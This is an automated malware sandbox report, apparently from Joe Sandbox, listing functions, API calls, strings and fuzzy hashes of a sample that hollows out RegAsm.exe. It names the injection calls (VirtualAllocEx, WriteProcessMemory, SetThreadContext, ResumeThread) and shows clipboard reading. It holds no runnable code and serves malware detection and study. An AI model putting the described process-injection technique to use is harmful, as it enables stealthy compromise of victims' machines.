Snapshot File: hcaresult_0_2_28c1000_a7HdB2dU5P.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 9683214e330df2a6ffebdbb801ab531dfddb76b4ab142f6fc772df1cb022c18c
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 99B1E47664028AAFDB60CF68CC80BDA77A5FF88714F158124EA0CEB355D774FA418B94

Function 00C61268 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00C612F0

Memory Dump Source

Source File: 00000000.00000002.1692731646.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_a7HdB2dU5P.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ece1d6da22a1c81dbb2f75ad306e1022c489839994ee1129b56cc6887dcd14cf
Instruction ID: aa6109c6aa069af5da9d2bb390a3127b7aa87c2e53c4565edd3727e30347c800
Opcode Fuzzy Hash: ece1d6da22a1c81dbb2f75ad306e1022c489839994ee1129b56cc6887dcd14cf
Instruction Fuzzy Hash: F42114B59002599FCB10DFA9D884AEEBBF0FF48310F24842EE959A7260C7745944CFA5

Function 00C61270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00C612F0

Memory Dump Source

Source File: 00000000.00000002.1692731646.0000000000C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_a7HdB2dU5P.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 97ea83a094f3d711d53e1ef8fa595ea30a7f7fdc7e63060786c0e2a1c54a79aa
Instruction ID: 17f5c75858614ea5350117a4efda1632a113ce880281caf9f08f2c8e8d803be1
Opcode Fuzzy Hash: 97ea83a094f3d711d53e1ef8fa595ea30a7f7fdc7e63060786c0e2a1c54a79aa
Instruction Fuzzy Hash: A22122B1900259DFCB10DFAAC880ADEFBF4FF48310F10842AE959A7250C774A944CFA5

Analysis Process: RegAsm.exePID: 6596, Parent PID: 7160COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	71.9%
Total number of Nodes:	57
Total number of Limit Nodes:	14

Executed Functions

Function 00410480 Relevance: 25.4, Strings: 20, Instructions: 435
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ym]o, xrefs: 00410583
89, xrefs: 00410866
9lji, xrefs: 004107A4, 004107AD
us, xrefs: 004108F9
zMzO, xrefs: 0041052B
D!M#, xrefs: 004104D0
(Y6[, xrefs: 0041054C
PQ, xrefs: 00410941
S%U', xrefs: 004104D8
f, xrefs: 00410824, 0041082D
w%r', xrefs: 0041085E
pE}G, xrefs: 00410518
.AtC, xrefs: 00410510
hI2K, xrefs: 00410520
yQrS, xrefs: 00410536
Gu@w, xrefs: 00410599
9]_, xrefs: 00410557
Gq\s, xrefs: 0041058E
k=W?, xrefs: 00410508
XyR{, xrefs: 004105A4

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: (Y6[$.AtC$89$9]_$9lji$D!M#$Gq\s$Gu@w$PQ$S%U'$XyR{$Ym]o$hI2K$k=W?$pE}G$w%r'$yQrS$zMzO$us$f
API String ID: 0-1367088923
Opcode ID: bd0f71112ca25ec8b8a9f2482f83a574c3380875e503502dc80236c562b04332
Instruction ID: a09763c792eff68ee2d066390d92369163d89c9f7aba8ef65be1ebf7ec03b0a0
Opcode Fuzzy Hash: bd0f71112ca25ec8b8a9f2482f83a574c3380875e503502dc80236c562b04332
Instruction Fuzzy Hash: A30266B4108380EFD3609F65E880B5BBBE4FB86745F40492DF5C99B262D774D884CB5A

Function 0040FEBC Relevance: 13.2, Strings: 10, Instructions: 710
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

89, xrefs: 00410866
9lji, xrefs: 004107A4, 004107AD
8<, xrefs: 0041004D
us, xrefs: 004108F9
13, xrefs: 00410039
PQ, xrefs: 00410941
I1, xrefs: 0041002F
f, xrefs: 00410824, 0041082D
58, xrefs: 00410043
w%r', xrefs: 0041085E

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 13$58$89$8<$9lji$I1$PQ$w%r'$us$f
API String ID: 0-2782953580
Opcode ID: 9b76d46fa66223bdcbb40c86f8213a292735e728758ff7986478ce89d37e3186
Instruction ID: d3e6123da5a87937c4ce527ea16b001d947dd1f89a44154d0df95b1e97982e4a
Opcode Fuzzy Hash: 9b76d46fa66223bdcbb40c86f8213a292735e728758ff7986478ce89d37e3186
Instruction Fuzzy Hash: CB4289B4104740DFD324CF25E884B1ABBB5FF8A305F54896DE48A8B2A2D735E846CF55

Function 0040D2C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D2D1
GetCurrentThreadId.KERNEL32 ref: 0040D2E6
GetCurrentProcessId.KERNEL32 ref: 0040D2EC
ExitProcess.KERNEL32 ref: 0040D4B0

Strings

'GFA, xrefs: 0040D3C3, 0040D3CB
edgf, xrefs: 0040D44E

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: 'GFA$edgf
API String ID: 1029096631-957644222
Opcode ID: 502ce430d97d9e37560fd800a07c2546b427697bcdc0870340be3cc5bdd76706
Instruction ID: 7ad23a135721fdd6d89255751fe31a0f6133d9381a8379ca88b8a81bac4427f5
Opcode Fuzzy Hash: 502ce430d97d9e37560fd800a07c2546b427697bcdc0870340be3cc5bdd76706
Instruction Fuzzy Hash: 7C414C7480D2809BC301BF99D544A1EFBE5AF52709F148D2DE5C4A73A2C73AD858CB6B

Function 00447600 Relevance: 6.9, Strings: 5, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%sgh, xrefs: 00447A40
EBC, xrefs: 00447775
2wD, xrefs: 00447724
B{D, xrefs: 00447B35
4`[b, xrefs: 00447E00

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %sgh$2wD$4`[b$B{D$EBC
API String ID: 0-496620645
Opcode ID: 865e8d7a960f62aafbc96611e0bb75791c5df7bc6a7c9e46bf01ca827213b2f7
Instruction ID: 69e25fd42919f09a0fad1ce1aae30dbab7648f036e3687e99ce2e3a807c76338
Opcode Fuzzy Hash: 865e8d7a960f62aafbc96611e0bb75791c5df7bc6a7c9e46bf01ca827213b2f7
Instruction Fuzzy Hash: 782290B4D04206DFEB10DF94D8516BFBBB1FF0A315F140869E941AB352D3399852CBA8

Function 0040EFFC Relevance: 6.8, Strings: 5, Instructions: 550
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:g;1, xrefs: 0040F279
%!-0, xrefs: 0040F2A1
GA, xrefs: 0040F0FB
yE, xrefs: 0040F10B
j, xrefs: 0040F2B8

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: %!-0$:g;1$GA$j$yE
API String ID: 0-657862259
Opcode ID: 8daadd4c4eafb44f063823af2852c0169c47290188a28889f776968e4671cce3
Instruction ID: 0bf61b085e90676ab9422539f66e4567ca3ca80a6a34bc9c966370a20edcd352
Opcode Fuzzy Hash: 8daadd4c4eafb44f063823af2852c0169c47290188a28889f776968e4671cce3
Instruction Fuzzy Hash: BD02CE74108381CFD321DF14D4806ABB7E1BF9A309F044A3DE8C99B392E3799959CB5A

Function 00447560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00444FF1,00000001,00000005,?,00000000,?,?,004214D5), ref: 0044758E

Strings

7654, xrefs: 00447564
7654, xrefs: 00447582

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$7654
API String ID: 2994545307-1888865020
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 0044A7E0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MNOP, xrefs: 0044A8F3, 0044A8FB
@, xrefs: 0044A8A7

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @$MNOP
API String ID: 2994545307-2234187807
Opcode ID: 383395a8c2557685db5440b8f2875ef8fac23426ad172215021297f230a7d1c8
Instruction ID: 80857ea081e9c0ef4e0b68a0f371812cde995d369360003f316b1ac55e0fae6d
Opcode Fuzzy Hash: 383395a8c2557685db5440b8f2875ef8fac23426ad172215021297f230a7d1c8
Instruction Fuzzy Hash: E441DEB15083009FE710DF58D885A2BBBE5FF85318F09892EE485CB2A2E379C914CB57

Function 0040ED90 Relevance: 1.6, APIs: 1, Instructions: 87
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(E31BE117,00000000,191A131C), ref: 0040EE7E

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b255b2b3df52fa8fefe507985d2cf18ad8c452aef6b15d87a3589c64d6e5f074
Instruction ID: 63d71ec5668dfa77f13543280154113270aaac174107f28ab34eb916c867471b
Opcode Fuzzy Hash: b255b2b3df52fa8fefe507985d2cf18ad8c452aef6b15d87a3589c64d6e5f074
Instruction Fuzzy Hash: 6C215A7410C3849BD311AF15D844A5FBBE5FB9A709F440E2EF1C8A7292C339D9148B6B

Function 00444282 Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00444306

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9b64c73a6e1149bfdb640a00ee75ce205078f54ff32e19d42aa46313119ccf0f
Instruction ID: 6bffe2fc0ddf8828133d19de1647fbd8cb8d601340a533239dc1377920776a1d
Opcode Fuzzy Hash: 9b64c73a6e1149bfdb640a00ee75ce205078f54ff32e19d42aa46313119ccf0f
Instruction Fuzzy Hash: 52012874608740AFD301EB59E8A0A2ABBE5AB8A701F14481CE4C487362C339DC50CB9A

Function 00444200 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00444257

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 80a4013d8c0c1a4728d3e3860e27985b7f180d0faad403a50f6dae2b7d497ec6
Instruction ID: 3ae5f2f3d576169419d8a9ac17d01dbf57a201fe257bde1ca6e5dd96a0ad9e98
Opcode Fuzzy Hash: 80a4013d8c0c1a4728d3e3860e27985b7f180d0faad403a50f6dae2b7d497ec6
Instruction Fuzzy Hash: FAF0177410C2409BE601EB58E941A1EFBE5EB95701F44486DF9C487252D239E824DB67

Non-executed Functions

Function 004327B0 Relevance: 17.5, APIs: 2, Strings: 7, Instructions: 1749COMMON

Download Yara Rule

Strings

drC, xrefs: 004327D1
~PF<, xrefs: 00432851
#JC, xrefs: 00433D01, 00433F89, 00433F8F
vRTb, xrefs: 00433C60
KJIg, xrefs: 004339FB
.L6j, xrefs: 00433301
>Wv, xrefs: 00432879

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: drC$#JC$.L6j$>Wv$KJIg$vRTb$~PF<
API String ID: 0-3854151749
Opcode ID: b49086e5311dadaa935c078b0d22b8ac093333b5ead3b543180416bfd8a0cf4b
Instruction ID: 80dd1b3f92e3bf53a7d47459d3dbaa13194b9cb319ea6a1a27847e4a333d22a3
Opcode Fuzzy Hash: b49086e5311dadaa935c078b0d22b8ac093333b5ead3b543180416bfd8a0cf4b
Instruction Fuzzy Hash: 9BD27270405B808BE7318F35C490BA3BBE1AF1B306F58599ED4EB8B382D779A505CB65

Function 00439000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00439010
GetWindowLongW.USER32 ref: 00439035
GetClipboardData.USER32 ref: 00439045
GlobalLock.KERNEL32 ref: 00439068
GlobalUnlock.KERNEL32 ref: 0043914A
CloseClipboard.USER32 ref: 00439155

Strings

?, xrefs: 004390BD
3, xrefs: 00439090
e, xrefs: 004390D1

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: 3$?$e
API String ID: 2832541153-3975470078
Opcode ID: 9da8b1234222b0aafb8b3fc8940d2f88cb45ae5217a432052fd4da87163de2ca
Instruction ID: a9f521efd2a2c46b063ecbce395cbb1927191a562d08ac0c9302c0b51827cb25
Opcode Fuzzy Hash: 9da8b1234222b0aafb8b3fc8940d2f88cb45ae5217a432052fd4da87163de2ca
Instruction Fuzzy Hash: 0441A37540C3818ED311EF3CD48832FBFE09B96314F154A2EE4D996392C678894ACB67

Function 0044004B Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 420COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 0043FED4
VariantInit.OLEAUT32(?), ref: 00440071
VariantClear.OLEAUT32(?), ref: 00440130
SysFreeString.OLEAUT32(?), ref: 00440155
SysFreeString.OLEAUT32(?), ref: 00440162
SysFreeString.OLEAUT32(?), ref: 00440179

Strings

7654, xrefs: 0044048D
4`[b, xrefs: 00440430

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: String$Free$Variant$ClearInit
String ID: 4`[b$7654
API String ID: 4205145696-3675246634
Opcode ID: 9da582bd222a9aa3210a227d15e33794fc036b98df7b843830be9b90ece2603a
Instruction ID: c15c9a77a36a85870a6c8e83f66fe4480b167010d9fbe339181f0a578d0a5d72
Opcode Fuzzy Hash: 9da582bd222a9aa3210a227d15e33794fc036b98df7b843830be9b90ece2603a
Instruction Fuzzy Hash: 6BE1EE75A08301DFEB00CF68E881B6EBBB1FB8930AF14482DE985D7291D739D915CB59

Function 0043FD0E Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 403memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043FD6C
SysAllocString.OLEAUT32 ref: 0043FE2C

Strings

,/, xrefs: 0043FDD9
7654, xrefs: 0044048D
4`[b, xrefs: 00440430

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: ,/$4`[b$7654
API String ID: 2525500382-138038313
Opcode ID: 011e93b997d46e8870ce040462fe3f6284c17b45014897ad250b99d8540a381f
Instruction ID: 5c24870ec86159d0f6ecf84723dde93076e3ef2f57b7b7e0ddad74c94e93c31d
Opcode Fuzzy Hash: 011e93b997d46e8870ce040462fe3f6284c17b45014897ad250b99d8540a381f
Instruction Fuzzy Hash: F1E1D075A08301AFEB10CF64DC41B6EBBB1FB89305F14482DF685AB291D739D911CB5A

Function 00401000 Relevance: 11.9, Strings: 8, Instructions: 1867COMMON

Download Yara Rule

Strings

gfff, xrefs: 004022D5
@, xrefs: 00403059
0123456789ABCDEFXP, xrefs: 00401547, 00401589
gfff, xrefs: 0040238B
A, xrefs: 00402263
gfff, xrefs: 00402340
0123456789abcdefxp, xrefs: 00401553, 00401599
-, xrefs: 00402283

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$@$A$gfff$gfff$gfff
API String ID: 0-2771814109
Opcode ID: 60d91501b71ca20af355275aac5581bd6b324532a87e7822ac95ca22a7305489
Instruction ID: ddca72acc18f96ceca311f167404972c65106f1bd8c402654e553bdb633caa3b
Opcode Fuzzy Hash: 60d91501b71ca20af355275aac5581bd6b324532a87e7822ac95ca22a7305489
Instruction Fuzzy Hash: CCD2E3716083418FC714CE29C59436BBBE2ABC9314F18867EE899AB3D1D778DD05CB86

Function 00427B0F Relevance: 10.8, Strings: 8, Instructions: 813COMMON

Download Yara Rule

Strings

r~B, xrefs: 00427E64
7654, xrefs: 00428474, 0042847D
7654, xrefs: 00427B64, 00427B6D
QQ;%, xrefs: 00427C03
=I# , xrefs: 00427BFB
?8N, xrefs: 00427BF3
-17E, xrefs: 00427BE3
E'I, xrefs: 00427BEB

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: -17E$7654$7654$=I# $?8N$QQ;%$r~B$E'I
API String ID: 0-3386696674
Opcode ID: 37c194b4809dd1c00137d7dc201101eebe92735c8c0e734b709c7d09f5c8d5e3
Instruction ID: 60540d3078bd233bb59da47371b54fb6625578c4cae607adf808edf17fed4755
Opcode Fuzzy Hash: 37c194b4809dd1c00137d7dc201101eebe92735c8c0e734b709c7d09f5c8d5e3
Instruction Fuzzy Hash: 1442CB71608311DFD714DF28E880A2AB7E2FF89715F49896DE8858B392D739EC01CB56

Function 0041DD64 Relevance: 10.6, Strings: 8, Instructions: 613COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041E380
{/}-, xrefs: 0041DFE3
4`[b, xrefs: 0041E440
8C-A, xrefs: 0041E006
3_], xrefs: 0041DFFF
7654, xrefs: 0041E3B5
Vwvu, xrefs: 0041E029
;[6Y, xrefs: 0041DFF8

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 3_]$4`[b$4`[b$7654$8C-A$;[6Y$Vwvu${/}-
API String ID: 0-2602927754
Opcode ID: 307ad71cdb71838ec795c4dd14610299abfbd5c82a6174d8d007dc7da4c3e356
Instruction ID: ba1e9d66d155ef7e9119e1be78dddf6f3c512da5b59593db3145263a403de92d
Opcode Fuzzy Hash: 307ad71cdb71838ec795c4dd14610299abfbd5c82a6174d8d007dc7da4c3e356
Instruction Fuzzy Hash: C012ABB4600700DFC7248F25C891BA3B7F2FF46305F14885DE99A8B692D379E891CB99

Function 004012A7 Relevance: 8.4, Strings: 6, Instructions: 940COMMON

Download Yara Rule

Strings

u, xrefs: 004016BC
i, xrefs: 00402947
@, xrefs: 00402A4B
0, xrefs: 00401EF7
0, xrefs: 00401E41
0, xrefs: 004024E1

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i$u
API String ID: 0-2200626124
Opcode ID: ab89587f8a0daafa244c590f772caad168a2f81082220ddc44e8abb7ed779df5
Instruction ID: 0f02e483ae5546116cb6baed28d9e077716f17be131def69be1fd2f2fc950076
Opcode Fuzzy Hash: ab89587f8a0daafa244c590f772caad168a2f81082220ddc44e8abb7ed779df5
Instruction Fuzzy Hash: 1472F571A0C3428BD318CE28C58471BBBE1ABC5314F148A2EE8D9A73D1D7B8DD45CB86

Function 0042C891 Relevance: 8.3, Strings: 6, Instructions: 837COMMON

Download Yara Rule

Strings

cb`d, xrefs: 0042CD6E
HK, xrefs: 0042CF41
vrhz, xrefs: 0042C8D1
7654, xrefs: 0042D0D3, 0042D0DB
gzyi, xrefs: 0042CD66
4`[b, xrefs: 0042D110

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$7654$HK$cb`d$gzyi$vrhz
API String ID: 0-2685429167
Opcode ID: 424902dc72ab28ec9b7c09e577cb145ec8479a31a11f362cc29c796f7d8e5cc8
Instruction ID: 3f5d2fb8fb5b53038c321c487b2321c0e33df35c546daf2f5165b83ef3f83226
Opcode Fuzzy Hash: 424902dc72ab28ec9b7c09e577cb145ec8479a31a11f362cc29c796f7d8e5cc8
Instruction Fuzzy Hash: 3A42DCB1608350DFD7009F25E89162FBBE1EF8A349F54492EE4C597352D338D910CB5A

Function 004204A0 Relevance: 6.9, Strings: 5, Instructions: 683COMMON

Download Yara Rule

Strings

`c, xrefs: 00420BCE
^G, xrefs: 00420923, 0042092B
wy, xrefs: 00420BB6
[Z], xrefs: 00420554
su, xrefs: 00420BAE

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ^G$`c$[Z]$su$wy
API String ID: 0-2730888924
Opcode ID: f07032dc12982def7a5bf2984774998718f875f43970d5821979900336bb7d63
Instruction ID: e474b29bb85a6c259ff07e14df36c9a08649fe6536d19ea1481a43bd88640b6a
Opcode Fuzzy Hash: f07032dc12982def7a5bf2984774998718f875f43970d5821979900336bb7d63
Instruction Fuzzy Hash: 5D2296B55083509FC700EF59E881A2FBBE0AF95358F488D1DF4D48B262D37AD944CB9A

Function 0042BB00 Relevance: 6.7, Strings: 5, Instructions: 428COMMON

Download Yara Rule

Strings

7654, xrefs: 0042BE64, 0042BE6D
7654, xrefs: 0042C053, 0042C05B
4`[b, xrefs: 0042BEB0
4`[b, xrefs: 0042C090
L], xrefs: 0042BBCF

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 4`[b$4`[b$7654$7654$L]
API String ID: 0-1286059558
Opcode ID: 757b9c9f247dd65a548c9dc266fa73467f186f5a48385a5314f930bee4029ea9
Instruction ID: 287429e8acf0308d46d64af027b8c2561fec00fe66fe95d8ce0ef9e28d63c3ce
Opcode Fuzzy Hash: 757b9c9f247dd65a548c9dc266fa73467f186f5a48385a5314f930bee4029ea9
Instruction Fuzzy Hash: DAE1ADB5608344DFE3209F25E881B2FB7E5FB85345F54882DEAC887252DB3AD910CB56

Function 0040F7E0 Relevance: 6.6, Strings: 5, Instructions: 400COMMON

Download Yara Rule

Strings

M|, xrefs: 0040F917
rF, xrefs: 0040F90F
s, xrefs: 0040F907
H, xrefs: 0040F7FE
6, xrefs: 0040FA0F

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: s$6$H$M|$rF
API String ID: 0-3047902030
Opcode ID: a0a9c5e50eae0b5be39a8be490fd2323b68d1735eebcbb5389087b95049dffa7
Instruction ID: afb9f173eede57e33b54f2f4df428e609b2eb683b10d7af656f29c121230f651
Opcode Fuzzy Hash: a0a9c5e50eae0b5be39a8be490fd2323b68d1735eebcbb5389087b95049dffa7
Instruction Fuzzy Hash: 40D17B7050C3809BD321DF18D49462FBBE5AB82744F18493EE8D56B392D339D949CBAB

Function 004340F5 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 452COMMON

Download Yara Rule

Strings

J(Z4, xrefs: 00434387
#,), xrefs: 00434979

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: #,)$J(Z4
API String ID: 0-1033251941
Opcode ID: 71f396c22e8098a9a3ea3581ea4eb6afead878c0d08d22da93183c486a730162
Instruction ID: ee2a4b736eeb26dd3486e01a631b6fd6690cbdf8a78c7fccda172515344799a2
Opcode Fuzzy Hash: 71f396c22e8098a9a3ea3581ea4eb6afead878c0d08d22da93183c486a730162
Instruction Fuzzy Hash: E5F1D071604B40CBE7658F35D490BE7BBE2AB4A305F14886ED5EB87282CB39F505CB25

Function 0042A345 Relevance: 4.3, Strings: 3, Instructions: 529COMMON

Download Yara Rule

Strings

;9, xrefs: 0042A0B7, 0042A0C3
lk, xrefs: 0042A3B4
,+, xrefs: 0042A186

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,+$lk$;9
API String ID: 0-1734778162
Opcode ID: fb477b06c671ab3640e2d5caf1ace8f2a13c8c6b58880ea85eaf716b54e670fa
Instruction ID: c9bf8e021ae438ad3888fe5eaf2f287ab2778ae50bd9558bb26f3a013a9aec5c
Opcode Fuzzy Hash: fb477b06c671ab3640e2d5caf1ace8f2a13c8c6b58880ea85eaf716b54e670fa
Instruction Fuzzy Hash: E002A670608352CBC324DF28E58066BB3E1FF85745F98891EE8C587221E779D914DBAB

Function 00426F20 Relevance: 4.2, Strings: 3, Instructions: 405COMMON

Download Yara Rule

Strings

7654, xrefs: 00427313, 0042731B
4`[b, xrefs: 00427350
defg, xrefs: 0042713A

Memory Dump Source

